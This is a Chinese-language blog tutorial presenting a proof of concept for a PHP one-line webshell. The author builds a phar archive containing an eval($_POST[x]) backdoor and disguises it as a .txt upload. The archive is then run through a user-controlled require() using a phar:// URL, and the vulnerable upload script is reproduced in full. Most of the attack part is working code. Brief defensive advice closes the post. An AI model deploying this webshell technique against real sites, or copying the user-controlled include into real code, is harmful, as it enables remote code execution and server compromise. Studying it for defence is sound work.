如果本文对您有帮助,或者节约了您的时间,欢迎打赏瓶饮料,建立下友谊关系。
本博客不欢迎:各种镜像采集行为。请尊重原创文章内容,转载请保留链接信息。

综合前述phar的各种信息,在本文的内容中,苏南大叔将结合一个较为常见的php经典require任何包含文件漏洞,构建一个基于phar的一句话木马。这里,大家看看下面的php源码中,为什么上传文件的文件都不是.php文件,也不是.phar文件,却被安装执行了木马漏洞呢?

漏洞简述

本文的php的漏洞点:主要基于require语句中的文件参数,可以由外部控制。然后我们通过文件上传,上传了一个由phar文件伪装的普通文本文件,再控制参数require到这个伪装的普通文本。并利用phar的虚拟文件方式,最终执行了我们的一句话木马。

$file = $_REQUEST['file'];
if ($file != '') {
   require($file);
}

上述代码,是最主要的漏洞点。

构建一个特殊的txt文本

当然,这里的txt文本,也可以是jpg,gif等任何正常的可以上传的文件类型。我们通过上一篇的文章中的方法,构建一个包含在phar文件中的特殊虚拟文件shell,并把phar文件改名为txt文件。

$p = new Phar("phar.phar");
$p->compressFiles(Phar::GZ);
$p->startBuffering();
$p['file1.txt'] = 'file1';
$p['shell'] = 'shell:<br/><?php phpinfo(); eval($_POST[x]); ?>';
$p->setStub("<?php
    Phar::mapPhar('p.phar');
__HALT_COMPILER();");
$p->stopBuffering();
unset($p);
@rename("my.phar","my.phar.txt");

利用phar文件构建php一句话木马的poc - shell
利用phar文件构建php一句话木马的poc(图2-1)

上传txt逻辑

对于上传代码逻辑来说,这样一个txt文本是没法拒绝的。上传成功的概率几乎是100%。

<?php
if(isset($_POST['submit'])){
    $upload_name = $_FILES['file']['name'];
    $tempfile = $_FILES['file']['tmp_name'];
    $upload_ext = trim(get_extension($upload_name));
    $savefile = RandomString() . '.txt';
    if ($upload_ext == 'txt') {
            if(move_uploaded_file($tempfile,$savefile)) {
                //die('Success upload. FileName: '.$savefile);
                die("http://php/demo/upload.php?file=phar://".$savefile."/shell");
            }
            else {
                die('Upload failed..');
            }
    }
    else {
        die('You are not a txt file..');
    }

}
function get_extension($file){
    return strtolower(substr($file, strrpos($file, '.')+1));
}

function RandomString()
{
    $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $randstring = "";
    for ($i = 0; $i < 16; $i++) {
        $randstring .= $characters[rand(0, strlen($characters)-1)];
    }
    return $randstring;
}
$file = $_REQUEST['file'];
if ($file != '') {
    require($file);
    // $inc = sprintf("%s.php", $file);
    // include($inc);
}
?>
<html>
    <body>
        <form method="post" action="#" enctype="multipart/form-data">
            <input type="file" name="file" value=""/>
            <input type="submit" name="submit" value="upload"/>
        </form>
    </body>
</html>

构造特殊参数执行一句话木马

因为参数$file是本文的漏洞所在,所以一个特殊的$file取值,是本文成功的另外一个关键所在。
/upload.php?file=phar://uploaded.txt/shell 这句话实际执行的是:

require("phar://uploaded.txt/shell");

我们通过以前的学习,可以知道:上述语句,可以require到uploaded.txt这个phar文件中的虚拟文件"shell"。而eval则是这个木马执行的另外一个关键所在。当然了,这里仅仅是个演示罢了。结合postman就可以执行任意php语句了。剩下的事情,苏南大叔就不讲述了,带坏小朋友是不好的。

利用phar文件构建php一句话木马的poc - shell2
利用phar文件构建php一句话木马的poc(图2-2)

结论

在本文中的,此类一句话木马的防范方法,也是非常简单的。比如:

  • 绝对不能相信用户输入的参数,一定要对用户输入的数据进行检测。
  • 绝对不能require(或者说include)用户能控制的文件。
  • 在php.ini中一定要禁用一些危险的php函数,比如eval。我们可以在php.ini中,设置disable_functionsdisable_classes

关于php的安全问题,也是作为一名合格的phper所必备的基本功之一。关于php的安全问题,在苏南大叔以后的文章中,也会有所提及。

更多有关网络安全问题,可以点击这里查看,https://newsn.net/tag/poc/

 【源码】代码片段及相关软件点此获取

 【php】秘籍文章入口,仅传授于有缘之人   php    phar

本站的忠实读者小伙伴,正在阅读下面这些文章:

欢迎转载传播本篇原创文章,转载请保留链接及作者信息。
欢迎指正文字或逻辑错误,将会择优在文末列出您的信息。
本站采用创作共用版权协议, 要求署名、非商业用途和相同方式共享。
转载本站内容必须也遵循“署名-非商业用途-相同方式共享”的创作共用协议。
未经许可,规模化镜像抄袭本站内容的行为,将会根据有关法律法规进行维权。
程序如此灵动~》下所有原创文章,如被用于商业用途,请您按规定支付稿费。

苏南大叔需要你的支持

感谢您的打赏,让我更有动力,将更多精彩教程文章,呈现给大家!谢谢!